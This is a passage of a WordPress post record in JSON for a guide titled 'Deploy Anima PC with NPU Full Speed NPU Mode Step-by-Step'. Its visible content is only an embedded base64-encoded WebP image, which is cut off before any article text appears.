{"id":1260,"date":"2026-07-19T21:06:47","date_gmt":"2026-07-19T21:06:47","guid":{"rendered":"https:\/\/nakamabox.com\/?p=1260"},"modified":"2026-07-19T21:06:47","modified_gmt":"2026-07-19T21:06:47","slug":"deploy-anima-pc-with-npu-full-speed-npu-mode-step-by-step","status":"publish","type":"post","link":"https:\/\/nakamabox.com\/index.php\/2026\/07\/19\/deploy-anima-pc-with-npu-full-speed-npu-mode-step-by-step\/","title":{"rendered":"Deploy Anima PC with NPU Full Speed NPU Mode Step-by-Step"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRuxnAABXRUJQVlA4IOBnAABQnwGdASr3ARUBPjEWiUMiISEU2U3sIAMEsbavmDRNXgDtmNJPH2J8uvm+bvyX3P\/LfwHrL\/4+wj3b\/q+X965\/V\/+j7y\/mP\/zv\/T7Tf1j\/7PcS\/Wn9ofcz\/6f26+Av+E\/8nqr\/bv9xvdt\/9HsJ\/uXqT\/2j\/g9cv6Jn7Senl7QP9a\/6v7te1P\/9f\/Tq7sxbm\/\/J\/KL0D873yf20\/evoX9hf+j\/Uep386\/Jn7\/\/B\/uJ\/iv3R+4v+L4i\/Pr\/f+3L5Dvzn+n\/6H+8fuB\/j\/WL4NlxPQU93fsX\/C\/wn7vf6r4cPwf\/J6hfb32A\/6X\/Zv9t+YP7\/++r439Ar+uf4H\/f\/4P8t\/l1\/7\/+F+Wfv1+tP\/R\/o\/gO\/nP9j\/4n+L\/y\/\/z\/yP\/\/+t\/2i+jd+z\/\/3Q1gLhifVLjPS5WFKh9cIhPaL7S3d8rWDza3ZaOUo4bSP88ch\/pXikj\/4ZxOG7CF3pKj9fLhgJIJ2YpXthGxtw88+4KL3rejs\/iYi+KpmAN\/LsFeiE3ot6oKRHHEj67pPeFhPlM9Gvpv30UHS56K8MM4vOFutRUYL9OVAMP9lf44UNWGwNNu5D+3yYxcCLz6JcTzEz4XPtS0JRqR1loT6K75+TTnrBzyIuAH6H\/yWz1R7DwZN5UyAJ8Ga4PWrlrQ57WuwImncA04uAuYDbbNLA8a\/Ed5Wj966HBy1hQqYUJBCv6J77JBOIn5Ppjqu\/SqJDH4H1TQHAvHBLmBoZHoeVmLz36AGSMVPMwl2XvctzQSsHARCLo8CUV2xv1x\/vLAwcghgyWd56lOQRkWIIE9i8NIk9YfOyyTTzvLxtmwhyLa+nlv+eOg8Sh7ecCMg9awXVGGmIUelmNKoMSf+tAArgZXdtjkj0OxhKWe+oZKgMDzerHFbjL+l7vLLE\/WBJa\/A8aYh7stc0HBkES40qB9h57HPRRwA+DCpZjT\/bKXLz6DU04wlpuMEewFm46H3vYEp7LYehdYo4sdwufpndVmXEMn3oywuJ7rCr7p3MXWjIVI8zJpI6gHsk\/M7wr81KcpL4upKjkdqWwWxWRI3a7ozjuJTWizZYNRgtU5+s8BY85Zr3f8YhE9KG5epZdLkmSYCwN4j9svlV9eTGLUSoPEVaI7G7CxI+G9FV74NdAsYU+ZgtMY4kehkiVpV4mJRoY2VnQsRChatTZzbaUOF1vM\/Beq8OYy\/Q5PN9gLr\/yR7QO5NgUPjzbhsbcMjCj6kIqnn2XDaqOicpC68cNUiEQ1+kqGzlCEkLWxZur3TPtpkP\/O7wEZAdaAVAO9TBkIxkk7otZJORsMC3pDUMEuxOcAgPIwI7+DDzizYFs+ueCq22HOLeqzITYSZuAMp6xJCuVAaOASjDcFfZ7NkXxhQsxFtyYeda6AZoLdg\/S45TnE1\/VmotVnw7pdCyTnvoYzqLrshXD8vcyMKwls11nDLVQKtPYdf+bHCuwtohlxacdehzDCLm4EgcGAgtRC+I5x1M6PtUUMHks\/mBO5cyv4NG8bkltc+i6HBXg8xLdxURHWPfcTW+NWx4AjIOUpd48xM0PW1hkY3vHSIIcmdoxwGqwvrZjYHHun8Z1SAhDApazOhLOdbbAeIvYD2uNjRTjqyF8aoMhx8Hnje+9Ajxu8Fn5D+tVNPQyzKLAAmVXxa845Pqzd+ugLmu2G6sjVh09Tc9kskYY1+3I7mnnrTPHOuUmGwH6tz4gmfFMnGpri3STAoHgSq4DJw+1bBvCA2a3+rh+OiFZIc1eFtypuiNsxJh3vESUTQc\/YDmO0yQb9ckpQ+d56hCNzqYggjcmnYBZDqxWo09gHK16YHju8GvjHgbDV4B1wCFE0n9W+iVox3N0KrtZ4UUUX1pnbWmQ4UwON2ntKSVYuOxuyBk6UcwDJ4643BFWGDKGlpTrmfm8nY8e6VS3p2czOag08VgNxMaiLaNsszRaO\/ans8PSxjNa47cnxFq01DBW0c6qu1MDP5i8Cb433HHRHgGNytJZ\/9FAHi0RnWh0lXRNyIpRJCNa5fPVKy20ACPiwiJsGEij4O5mAq76mGXZnuHaqSnHgSARsL5H5ISALZZRVUZUMMczsdqTVivERwbrU9f7Msija\/OtksVH5wZ4NwGNn1QwGouMX0BLk3262OLqflBXil\/f74JfyFR2+YBV0Mc49xFtVm4gcyKmRN\/UAIzgZQQVQLyQfMTMj\/zjzYPEjaVIKUcTdk4Yt1lz3e1858YtBm5uXIXIV+wCewv3AwD07no12GdwzIuxWtQK\/KPXKR6FPrgC8LKeGM6uYlLIO62K9qdimf7u6rCbxrRT93JVwoBJWqpgTptIyqhE3Cd2DVl2DUC4XBKbL6LYI25r7U0Rft9apeUZxx0GePcEqESYzZV\/cAenBzR0ImKdaVlyZnk6w5nRNpy7cUD1M+XKZH8AbcV6pqUNLtUWQv3hz3hRVprCA\/Put7NKaAzVbMKV6P++tI1ZEY6ngQ7FtE7NeB8uIeBQsfbREmsYusf6Fpic6sXM7zfzxsnPHwGarAidjShTe6\/PihFCx4gWbMMSyUx5cp2v7Jf5pms5I5NqSLKLsKFOLbxX8lHwWsztuV3k9BWV40uEF97V0GjgRC57ef23ua6i0b++F9jflCrvzk48SAs+IhF\/5rAx\/\/sEUp8x2SjNkz65q+\/mXRs6xOyaUQfQKrbuhmAaZAACR7SEx0\/XL7wt3liXK9Qy1XSUI3oVSW\/+Nf6v4noCsUN\/uG2VONx4r7TrCLIWW5yyuZ8cyc\/lAlrH8N8ZgOyAUa6PKOnqC5RMKSdXXUnAofQXtUpDoiU2kC6m0OlB1thy2Eyskuiu9PFHFf+Vq+6s8N9t7\/kOc3t7CAyt7tSyYT1TYlw0W7lBdUVfB78TiDSHzFUmvWgRjyY7HbDWY\/TYhM3A5tG6UOo5sba5nStiQO7qG54ziyTK8QmVcOihFYKO89oYOK9e3Ak5EeOJ+eFVMQZeMBKDgZ1J7TAjnb68LA5Fmxvzxbh0\/EBPKVyNUHY4KJR6rIfaAMUxnbBl9RxQDX0NlKuzC2se8pSFJ1T+BO5N9DYAbhSxDgaLUlOFsKoibwSWN\/SEG7CGfJ8XHXDI9QnF\/MKfz6y4wA584O4zrxnd90ZDWyaDkImQbxtBMMsDf6hedXAPdZLeVZTnfco2BBkIVsZ3dWomZvwH7HSLJ9xCrnU3I0Skb2i02eg01FPCoerj9wB7ER8HC+a3OQo0JjzHz+N79BKynOaU35GPcWJ0ELDlGQlZkFLEiruzMSY612TUMkVQKpo4v9gUBlps2tLKzD6KZJ8thKn0dRV532D3JH0nj5EGIYgvHZdpK5Rii1SOgRTG8KujCJbGe7TYaKRno9frmJNzYYa2cPf6EXz210JKhxy0fmzjUQxmb4xJ6r09R7p5P5h7w9SrO2P0GyrVhJzDbJAWLpmEy76sVxQWOJQCzRsgdo0iV7rg29DFSwq0KjMHmLHJ6t9BsiwCLw8gPhDF85fL5zqQjdj307KoXonvS9av57F537d92PszWG6M7gq3zhrhQ7sZzuIcYqtD0A\/HZORHsNo8HfqzkPGHMW7enANBMeYU8VEmOMzszuJKuvQQSEpbiw3NgK2u1tLsAPcqfMXzpAYLFd8oQSAJ\/nNXBRksReK9TBUFUzK+xOmROHp5EBRjfznqE4ZIF9IzHmbDh96TYZCr4UO7AwKUoidzNqDkWkIiIDqBgZC0CJfGEyBccokk9G8kY0n1xSlXOa346kIz1rNU1Vt\/uhaBy\/LnH1ptDJhe2snCq7dUGlDcc3SN+Tte0D5b3ciinaSlg60grqiHAbofMzZbhihzeEaxpuN1iDQk4DfoSKYTfdAwCeBfGi8JoE3O72eATBfWuyu42TOsCAJmhuhsgTiySqHGbXhK1bbW14Pl1DaKNeXos+o6QAEuqNga2\/MvwHJlpVqpZ1JXyVIxbMUZ8Kp0Gr+sq+xsqpWGA\/FRWfACb9C8qcW\/UpJezZXYfxAULd+XgOY3xfEbZuY1pD+U5lXfPKr6GzjmcrsAYrrcvJVh7Is8DlQ4wPwVUHca0JTAFiOnoUxBBzS\/tmElGhIhGjgZ73T8CBjOx2+fK12S3bnalIZQFOfPVg\/FTTNlRUTOc5\/1Tdn17JrGQmB+mTqXULVCmXgCeFrkQ61suiPZ36oRUXwTFyZlH0jaxwdhq0kZ97XFG4l8WXAVNqvlUqYvlA6+gaArfV\/\/\/0wf4AN+jnn2JcOR0HGIK\/\/5puv\/7W1wfBC6LamAddHSLc811CkWv42egFccnTT+is7efOxVTQxRhNf2iVql9+tIQ3zt2MB0VQs1uQhQqMiz7YbvR7ff1GeTWGr1kaUNIe+d1e9UGsimVB\/cmLEyKPyI5Sx2tQyw9Xu2rOyFo8GFRtojgXKAB44G+T84lUuIsxnXlwQraPTFpDfkTtTDRkstlHyvAVTAiqeDH7tz3TVJfgAP7+WRRz\/5rX+3Mcvg+CIZ53G7EvNshQCVcJQQJWm\/q+cWC+JXDYC+b1L6eJJlsyUzZCZKA3TQi4WqC+NSwxIocbZ2JxHvKpf4+mhNf7ciUtjFa8dYQ+80kS3Ss6vV490H9ZVT\/Z7u6aLRKW132sshIVqbP2Vt+l2WQcTyobrWcuxA9BgqBjUUcFjXwFyJcMgeq0Mul\/AJc6RNGwMYeWPghx6MV8x8+hv7q\/HndqRRqjxPS+tODiRle\/0sEC+hxyItLH4btFMfve43jSTSTLAIlTxdR3MLxzf7pGmMxkJ8OKzKGUUYTi782jxvtXHG8PjZHj046Q2Tl6lS+S0CpAMPceK1jS+FR9hWyGZ\/XXw\/5Cbh41lZ1c+J4888nRWk\/l94sY0+hytK+3K7538upZC7PtdxdpfR0CP4PCejP3AB+M\/OBPLFdFXj0GmKoUfzUYx+Ef81+brWGug2SumICrHl24x2fBEDdNo3RwjRP\/+xSphpOt0Wb+i0AMAYRZRp41HhoiQO8ZPEJgGiO0h0UA94cLZkQpgZVtrkqhPztl3aYQQyDaTIkhHlv0WkEdn5agyN\/hr\/sZHFR8G4KMC6OU0fajECsBgZTnNjsQ0M86SDvqBRewWhGjnOCqeGWTJAB5\/NKcUQPaYkaYoJ22QbR1hTsil+wH23HW0rft1\/vIaBnaDlIMOHqtPiPYcx\/4QsQwtYZtXw\/P\/+EZ5MXfPuBDpHTGyn5DLBka4WI4AGPoHFzFoGVaKiBfcnUyIRJa7alrtkMj8vbyLmMCasWHRkhIZtCPMDXjuArb81Lusrchkz3ODUTX1N0yVnKugt16rPdD0Azds8AmxC63UBgC8dYunxS966xApZQI3gHHbaSgOTnV577LdbhYprmE3v0l3yKh\/rLfpTbQVSgzK20PPf2nphrsIu3wRbHu9g5FZmd7iQfBNLMRvo0UmBuVY7Eenb8pPAf4Gmd3pXXXXt8b7SjZheEMxoAZv6vSTxbWTUiyKx5z0iWmZprIHsbTnK\/4YiAVYH82Bzbdv0\/iqiZV8cyAFqKjiK93eVuXlwDP07k2GcEoY+jw1\/dGV4dOzVu8g+s+zdMfWvDUmDYP8b04vmXbXfMQbn0KaADN8FOYelbJUbN9F08WW4oG3emYctsB6NNbhQSKDB\/NnE7LtCVsdir4MzRfdQnb7fkDTXuBphNLg+0QtY\/lPx1JHLCbyiqEDp8BcswlkJj8or8wX1Qssxp5ug\/k5BGvvgfza\/EKo0W3jxv0mGCf9w56E+7eBUQUC5FN5PKYCwHfXJx8WVHDgJvaVEXrFl0pBoTSiTimTsXqsgH6Vf\/Osu6BNWen4FzxkKqZnVY7fm5rilyOVskl+RYC22ONxSG9NoW3llZHwVUJ\/5hfWxZK2b4tNEoCeQ2x+nJopItOxSvzvGkf4kVniOs7yJTfuob3wiX7NacXv42eKqLJqWxpWg3nXk9iSnoIoJEyaGhovYQMZnxeZRB\/iQs0ljZKsWlfL\/QrSoEphRD5AfNpPAfc5PjL23K+apYGZvt5RINiu5oRUzadNE9xsX59n8USJu85HEpBxHPJWqeB+XvWY2RCaNQawhY2b\/iU9BddgMstktI9BJZ42ch87WRvkdbkfthWDXuKPH3aGWEnVumWi2U0p\/r9dK+GioHt8xq0gx+BetlAT95elU5TH2oMR71m1dIgxyEbndd8MDao\/4LQ9nTWIGidiTDk1J0osJQU2mhPCuwBy8ryGNHS9IMrkgwvB\/S5Dj6QVAp0iT9kCgAL0AayJzelpRTucGfOxpDm8jGaXIzINilmafFJHaX7NrhJS05Xr4cWMW\/7WsEDvejXQq94fkXujI\/AKz4DAjXUms+ipPNvF74DwOeeBO6W93\/oIPDfDKjpk\/CbVuSzjAg6pEtj7GLIKIPMY9MUQzr6kRCleuTlMcHpSkKpu0pbS12\/qc6u8S+JRXtlYw4WRH3v8m7Hc+0Lw+tHR1friF7mvKnqiGvJeCjJhmoStvUhsh2TJ7OVutim8n02WPPcT01HHPgjCtUe8GunUg9nKNzlnYGtvlyYp+gE9UH3Pcm7SPDh\/MsUdWCyLJkn\/uPUmwQnW6dTuhK2dZX06L+EbEfeOeeHs1lgYUKv7AhZkpHFUWK64B3Ts1Mz2P9U+BSe3sQudV4vHINnjYU0jk+VoG5Capi8ymOsdjuYzZ7YUJj159kx7XWZdTpM+3DzVid6kZx\/X\/oFbnCZOKRiXCMl2Iq0ULIg+OKrFvr9ktyVSBWdoQhCkTPAEwyblv2rjtdb7NaaqhFld7GSXVmyiP8pp82nZqkJd7d7df90YUmLuimMIYbCDtXwqMzOOEgffwjuCQBRzJuF4kNyQ9JU3Qwl7jkRoRp0JeEIH4nZz9IGNp5J0UFOiZNxX87FDAAltseaELISjdoRl2ys0lCZkws3dQVi21OuP\/dpRS+5IZGw0wxqaOkHV8YET6qrwb3zGji4ciMQ2qSxroSV1rFPYnSWKKRhMYIzkmwgCWLbznOKhH21O0N9OYGjGxj65ffeX74qnt2r8qwTqs8jFxL7iyb8pWWjDqkEI4eYyinBJR0gUT9mb6Q9FdwWt44sKY9sJUakRjQZsWffF2BInzWXGWOEvrqozMhQnCPVA\/96SQeF4K1pA39ViQDEzviTtQTGp+x+ARR6HveH9TzBlaLpN\/Unef\/kEukPHAJzjd7pgqYNJ0SPdnJaHcih5VuIJcJnZrnCchlgkddH8APkNdDceBZ0WP4Tmti\/0BvAfKSTmTmmcsMULE8on0YVEpaK4uOtV8LPLb\/C0ZTW6ymiAey3dDEHYWKy3kd6\/sC4SSR+T2apjBEC\/ebbhZiZ6fJ48tpMW2fTaE8oBb5IrpmcZxviZx9+\/cxO\/NquMIP9OkDXKBZhhXcKhEN\/M7lqMOlNY35nc1TpUt4ka9AR5qIXeT6rj0GLlU74UdQEOegYLr7sA8ltTxVMD+csVylaHjGobvV\/KKkzc1KYJUobrtf6Lj0lJC+OfSjwg7eUaM5InsIgvhY+o0caB5p5TtqQCUJFAbpRZSbEeNTQn19Nf2ecZE+o0r\/WTqagIGcQZt+Upe+tBMJilPsygwGTVPedzrRLa9z11+BRJ2WBPLkD5dl2lTijy6GxOTlCCKAby6luAm+t8mHQ0uCql5cuw92o7KmU9dE81yXKCnS\/9jrOtqj\/sgUmz8EHE9shEXUy\/I+t1rwD24AqNYBlRGvBFOKW2leAlJtmkzBQ94mEi0qXvWnXEvtXXPFYGixHSYseGpe8iNseJzDH2cphp+0yfkj3dBWEgCOVFFWrKHs7Eiw8p+ALGkwLWyiOFadHTfzG3Q8z\/TYMfsd1n+b8\/4FKbztFGze27Es9lPBw4jKhDWNlDV1g2LaUFAbx7FNwKBCDQBeRc\/yD6b2U3D3TremJfUvocNyxtI3MCrUmWfcmktMDzG3AnnjPGhohghQCQjC9tbBYAf1dN+WabsPYYx5ImEtTI5gMHe4PQV4sM2L\/GeT0R4RZxhW78NW7BL1LtMvXp+EeFx8oq7pm1il2hSbgA8ftT+ogeRxIxb7y+y2L87nddZBxJSoBBJowrLWn0e2oM+OP70IWQE1tdrQtvD28tXbMJ82EDE+K0o5EI0lBFOLuCvCM4GtaO3F\/Z3oSenHhySX\/7sqjllcVu7VLX2mFKxvnTn3xIIsURTsFP9Z07tTGVM9Fuan0JrjzzvBweosQm+Yd5sY\/4Gzrwv9F1U+ohgRcPCnkJvDfhr8IqTJCs0rYMwl7uzxhIdD4lLDQGXwvTwDf7zR+0h2IPcvfdMS4qQAjjl0yRpb2Na3xX3sXVsAQDgjx+68YJYCVHoxPvGR75ljbT+g7xNftx5hK\/0h4WPZsFVCsJS8l\/2I20K8efVqaJrV4TSYIvI5Np81hci0GKEubpGxMvYoxdq+i+Pr3uW2wmLCjVQC4Fjj5SdIHmLjri7CRx0DpEcpuQMZ0fHzuk0n\/ilq1GRfDBDDFdRzZDsucQPIFJ7i2VCObCJk4RyG9pkQxcyQrWIan8iarKRCR2SzKf5ew0MLI5VrO3DebM1rEXhrXN0fAEausXUdioOXHimiiKvGaHVAHR975AMpNVeR4GlW7xXzRgz0R+qcQiuplQgBg3XFWpG2pnmo1EtTggx8692zO9GFQmtfOAdluehr+zwh6UsFhRlYta6enTaQzETVrxofFsyDbN28SshsEHJcsfPQcqk46UuQITgJzBnhX++54a1\/pgNjZXBkYoGqTutf8SpUQeTQH1oYwc0w9MGasc0KvcczKexVmzQvSfqLbwRW+DijfnuxGCffdzHjayWfID4PIBpcu6uJvvUWcY6Go\/jE1mVSAcmy3Jq3Jvnw5RWrvt82ImN2soSliK7YhFBd4l1cuAiI7DDjvjm3F+iYfO7uwblMS4gmnpgZtAvmuXAkcLGRF50ToVBqblGz6+vEgRBliKRNwMziig0BbRVp9e\/tgAlCwj2oE+EY+VPZaAkEV1ldb7p\/yo4spUJmIbjmPaM41u2gVdrCNniM9UlVuaqDkwXxLumeiw3hX3x+alwPi6ySz29I9aS0MlvWC3pq5I9QhNYDC3x8eCoJ2UIOLkgI7y9C\/1Ama0ZZxr6hEwN8ncbjJzbf3l3IZhOlyS717wOFyXDTXgT\/3O9D7wxwzXFgxA3Rv1Lalmo+Gay+ddfiu6auTlr6diOvEZnXOLm50P086OKG81tQp\/PeM+\/NsjAOizk89dlV\/hgF\/ufHLxQrFWfkGCzFuwb1vESyfKW9SKTBaJ4W9yqM5VDwPEMz6PCCyK9GVFMYfAZWtH\/cu2UgwrhnPOiiwF\/wqlZ8P2WByLx9GEcKPNJSSQz0qzlm78AfrEF5991rDsMDmreFYmcPhkQdt3QogJWLuowvUISNrZj95DPlS5+JZH2ck6lI+dqAH3Z6R57HL47YZe2T3URT+jklex6mspLUpNbhGdyxFQxEBWZgBF0PX87WanjhaS+2k\/4bp1j7kPtpG\/98cj8jtkcEren0CasG7yL7Q17oR7pQXkW\/BFW1FF\/YtmozWqA+yZpy2uQU\/SX3CoyqiUykDATWTyovoOuN1u1EV9Jz4nGSNcgqhCPxfxfKGVrthR5NhiXk\/J6XRBe4waczJCG1cBuazD+BhCBik\/Uk0iQZ43jL1MnpLSUFoyDRhETDYWgxRGSXa59zLy\/12G0CH29GAPrF\/Wm4gozGovCY\/MIQTxQqcS+dwOndMTbh9xszhODavBbPM2uDOOjZRgE\/dHB3pCcQzIyG3y\/3RSdX68mFW15G2uU0YusiOtPzS\/WZSX8RXfFFg6UwCML8\/1\/ropkkK1gP2QdNVXgjzupl7pJLLoft8gfpnG9Row09NjUhHwJiQo2l1WAB7GWqW30ypZQR7JyhOyCCfMYc1jcJej3r+6FlD4P6wa\/p1izXXcDHr8zTwO3PPm4C3ZIkPB6SuIkRduvaywYAbYpXBOpGRXsAI0u\/b\/2mGvBfprQZ9DUWu6RoCHL5B88fQKwVq5DKApmwXRnmvNpYh7REDM3XBnsOiA4z0o1Lel95ToXyys8dHAEXDQYcYweNO8vWyjN0I6KaJS3Kk1VPRZcOSDc0lhbjSfEybIi3v\/7nev6cR0VMljvF62hNlIgoBYQ0DHNS1nlwmRBUUG+o3XbIrp\/NUlBpmVgwE6KjZn7Jw+1wYWTCWM4tUoC9gg1vwU+tIUGk81HLIpXmO9E4qRTMshUziJ0mhmU+Mq61tQ+LPv\/E0zpys88q\/39NSD+XnZYoFKh2nCEpSI\/mNExX23ifovPwcMSwmT9ecu1lyJ7+ZF72DOYRnJ7Lumbia78JSfRhdX9WloBvzdBEQpaBLsQgJXPQb0ON8PQp32IOth8DNpisemqgJ\/g8CAXijG5TJkneguui3pRWY8bmrBFcRNkx\/FYAYeXnN2kEADOf7qzV4WPHAFLhtPvamR2MhzqsP9bBW3TwP5CyGrfMTg\/p6uCs6gnjPTlx2dSSAz0cobgNaxcTuKGUH5hHDodpAYTp3SSC0xRWVAiPDZqfvE\/ySi59YiFlhi2Kx91Yp7EavDs3Rz5Rvfw2LrDE72ffFVq5YnK+GEWuHW8okLPxRcFzYiigQar6YKM1HNH6uGtQZjIbNf32wSP9hnMydNWWnbIma505+fk4OyCweePzdktsXen0\/sIj7bl2TrmLZHNuEpKVGGMSREV6wr35gU1fXMK3G14vHRedYz7\/73P3LvVv7HXqnl823C8rKwweOa7PGb1NLxLQ4CDaEjw+lcGwBRbcpfKhHSRafRGMCSmDZGNWNF5f+VGyHGO\/4zGJ2ucwrY0ba2kj8+F3Ew8YaBfRBKC4uUHTbv\/OQVqREmOWL+tujY0zcoc0RnfOFJdEnQhwSZc8gb8J88LVTMXfzlxpHbp\/nwxea28RIplabFutkjN5wB\/1OSHiik1iEMu9fbqpP+F0Q3jBq8RcQ1fh+5RDrj26Do0w9jzZuiefQ7Wc3cFCsU\/ZS3AQvDq5G3FtZVd+KkqwOrIH\/pyH1lU1rZzw03x+DxU+DJnkXMgk3H\/BArCWgymsJf0oKsxknf1uYfwn\/++HQXrxIv\/fEymf\/SitKYD3+9D+H7sc7gkb1eRSWG\/eQoyo6JiK5lSLuzYuznXcoxaBVqblVl0J1UMS+opGY6yZWFJzuAyV8IkxNsb2VNsnjs5eDqxq\/heRXTNT+3FJFYQJMy2QU\/PQ1vtkN7sMv\/dTtev27di764uPGWan\/vtlQdrsSYoccubIgL\/GlZCIxCtXen4oK1Lom+ynYM3UIjvz2T\/8u5UIAXzNkinS2XsEl5ymY52fnLl7KEkE6U6RDYJBeKmeN+zHOVENLvijpQq9IChVREIvrEKQU\/L0XFkFR2RvkCxt4hLuIsRixQLUd6C32AmnUIy5Tr\/lHTn3YjRCdqAcuEkE2EkN+hHWqxJx9W6A5lJxvSrBmqn43uzkFg4g51iHPCUNXTo4ojpTgu+lDPsm7lOheIKPPCSrNWqbFE4Cacy\/\/d0O7w1OZRA5z46hqXUkW48j7ghm2OpBpkxNSenOzzcNIWbea2z57EYL2ryivorLF8YZU1IJdx6taKg8NngWiUQWE3dZs4A7ZgFn3EYbueGLyqA\/7ayBZm6ZTkjEc\/xUginJaIDo54dU3hOTyI74XiT2KoREs2uz9JWAB5FRY4tEllisFDD5KPW3i7gZZCHcpL0XaAlUQd0xRyyibTjFYfnrQZJsGBVMgjGRYmUA6mF+XpKw30467kVERSOzMtCKVk+tbOudCjHsBEe6ksHj2PpZJoq7IFdmDmPFg4kbWIpxyyOFoWtAjTx6v1cI2nFRjhW1EDWWGca1n1Lz2mIPAPDuFkNfSwzc4qpuZ3mUxurHSjM\/F8rPd\/txIYiFSZbtvV65ZUaYqYZGUIK6dMDniwaqQL04+Ytb8EEiNh7ZBMVZtWR1nn9iXQgMiloNMHBUsb8bcw1C\/R6nPrQ6iwAMoLCM0NTC7m3yGcf\/aF3Tq\/Y1rjea4ZzYGY01QlftZjrXeoX2ZfI2g8J8xSnx+KGVy3B\/3hwBNHXhc1w8P5HG8nOSEpFB9DJa7AsLYEMwRUOgZN5ZzlHPJlDLP8ZsbzreG+f2C7p1KU2s0iPHjSu2f1YRxy2orsqE8FE0kpZk7TPitoyl0zLq8mYKvn63I7wqDvbOi5KltfiiOj9IbnDRQV5bksnlrZGiYZG0ogoes\/UpICBXWaN4tNjqn3F5fwpkcsSh2h+bhix7tXEMrKKbehSqylWvHVu9vxYWPJUc6JOfVbH6ag3+etRow8T5ywewwaGYQVeqR90CHsZMRGn74mABWyoz+B9HD8tX9sjdTLhvDloMCx8nvgUY34RuNMa8LeOpQ1XomQQ9zjbqXQK0zMhHxMz+MVNXbQFt\/\/gWH9LxLNAzK0SFd3HJ27nc6G5tGnwA2yYPB1AVzw1vnSMmSb1676EvwV5Xpw0Hw\/weRazz0H\/Tq\/44We8nJIp3So0B2QXMpf56Ta2fUPnCl1OVfX2jspZ4EbUl4Ad9cLqai7b9pjcFcBq0Pjsnj6SpA6knRzpgD7\/yCe5H\/P\/jZexdJUIshzz5Lq0OOSQTDDke5QT\/\/UEP3XQ3q8nT4o8NdgACa1FM2915vmBGiimZs2Ad61aTdUL2jef9zx5RAy64Ac1wzoqHVquH\/Ku6Bm18Tm07439\/se+sjUok5yug4Nks+KR9lB+UQHAcVkFAjLoJwcYVebQ1QwuGBJnaIjaWEubSVDc5wwMj995JLBgomqlBbEDz9aedhC8TtHv2134sYlP4n9TynJKd4CZQwyODOPcwPRsBndtxjk0pFc63VfwNa+\/7Gj\/lMhQHyQqOJkLj6md1Fey9SKFi31pqzzuKknq6oseAEM9yqntNE0n07LXaF4gjyHT1ZSe2qv0FzxYKmMgKrWXnihYhUkaVzo1V\/uT8xVt7FA6fGyiQvdFp+QRm3QNGyRZBLHaniSjtiWDrsMpMpOve6m8gra2okCsegDqLHhrqVwO9a7JPLQxc8ySkAWbwwkNWcuGu4ofH9duTw5IvEt1OLuCEVWGZhL+NPvqulJvKGmiucY5CPPtYSAi8zMbtQORaTg9uNw3CVGpxLC8nMsZzRu+tPt46Hy+9cMMGD33dGrSVaDJbUWL1ICpMgLGqJ4bAsV8qKNXNv4nw1A5g8KJdL5bsc5W2BFP4fiemgpfAf05TarR3ocmRxlCF5Gu0W6gBtQGIL1dIgqI15nfPISMWf16HCLwBG\/tl6dJ3d35v6n8Ec2Jlj2GE1v5qhCcIZaACvelov\/igq9IcfVGawwwghjjqB205Y4oQZDba5cCFEj\/Dzc5lRb1a2fx+YgpdMwoBA4\/xx0bUQZVXxd23Qh7V7l6nLdJp\/SwKZxEqsnqpy5KC0XCN\/fn\/3mbBBccI9yXVqPHg6z9Cmkz928br5CoFfcL7weEexLFek3IW7zEB0Ym8Fz9b18NcYnE3dHLOjgB00jWq\/wZs\/sADnWhPUfur3aSxnah2VPk0d3QLzp0PkDhbnPqKj6E09KDSs8hSgKMPJau3p48izBwbYxTLMIODFk9D\/JaiZdPr1dQqHiDRGEMQeTPioE6TF0UItahe58YY72f55NiGQyvHXXOtPjiDiysSIfRy3sttFZKz+ikGc\/mxKJM5uizqPeylYFO\/vINHpqQ4fWwLRpnxkvcEfS7CQohShEq+oPtzFbSHvgPZrJ3ENU9P2JMoUQFmUnVbd8ozI+XNo84m7NAl4TUt3h0cyyni7F85kiJmNIld1uAOYUFThIPX9C+gsNz2NNljmziAlPbkvyBSHqwtKSjMbFP6KEaHBikz3LMFKiFZ5uciaI2g9Vq4mr5mcgVUgRzS6lfOO8Hq1QRfktKwrHYtP1zU7ZwlJgy+vMZvkMJXlkKsya5\/yX1\/c4tRrv2QFncYAaEcPkR1QO+3zRwwNtxdo6RlaGF4D9SJQ8SghvIspUixjgrHJ4zlXlfYR0ckG3jUO2+eB0e5t3IML\/wAEvf\/0ZNxCV9zMKHzg7OQhjv6baTDv1hb3J0CnghGnqQ+QP\/P\/np6T\/pKqDknqBtrhSYsH1IjCGvTn7D8ebPh\/46OhIrOMMoUjEFFgQoa1oU3lvm60swi+zRIGadEclnvfFYueg3VJWVK0zZb2bedmzsOshxlRmpUu9g7YaY25c9nhHGJ+F9VdjDGHTfjqd9024YGCpx754QGzSME3jr+v9pv\/gf+BPaI3HdZdPvokB9z6vkCR4ztatzaxd57SoRaZAAuyDpYXW80yHrVg8VOao055IqSi7pX\/s4CX+C+hA1dXMdd1uDBFz+9q9f4iF1\/bAjqVJZt+3ufVTwUS4dwjiCY1MqWnjaW3m2oMFHonz2+oqunJq5gIWjMERtBl1\/bmeKgUjUPq7ar8+\/0gdMIFYcpOCVODOlotj4POZLiKA1hGNWGV9DgORYAqVah9Lz+pRQOXF\/Zj7Ctk6hQecJWu8yaRU88BfVPzspRmWDC\/wOCoImkLMSkGAsTooB3MHkOa9ISgEkNTYmINdoWNy8oRAzSzY7PHkdhRn2a2e\/b\/iQE4hnJl\/Lo0RpP+3fpDm9mqFLHAkAtpWaIzulYG7N+vdNBv2rrEhU4pxDC6GTpYRZz\/dIejgslsVbiIIlwu57ch2oBiFocpCpkCljtuGcBXZ\/IxVNtx33h\/IFD8phKSh85pzxO7eCPInf+dQ\/bGZg07CoDPo6d3Kt16jPa5cxDAs6vfKp7zPrx8souJZCxLbNuuKwD3wY3w7zsn4oyqxQNmoIQCHew+2tBK7VthZ2gmMfSf1Y2PCY06+4vaO1TmvLag\/5FXscKm7Y+ON08iS1aafovCeirArqRHVAFWlW6k1wuqdw0K8MKFRjnUhnH+EnXQz4k\/ltTR8Cg1B5YbCrVdUih1mDfPU4BIf8Zv5MZFER4xUeUx7I7Q\/3IlVp56PWr\/4iAV0P5J+23zjg6TKT6uwd\/d9vJz2tbauDlTBFITICVx7aVbTpeQ5yzFC5LZuKY0Ue1b0KWD4+4YaelAgFQrs4Ig3S\/wREW3VYMD0v6BX7rFFa68Oxq2GVM28tFNRcZkEyFmxCJ3\/WWU5KVD+fLC6WjoGi3LrBwI4\/xR3CxRJDLDvnWtCn\/HZN6mUTVu7RD6uR3v1gQQds0ZxOQZO6BOP\/YPCOjuVMcEBQyolhjBBi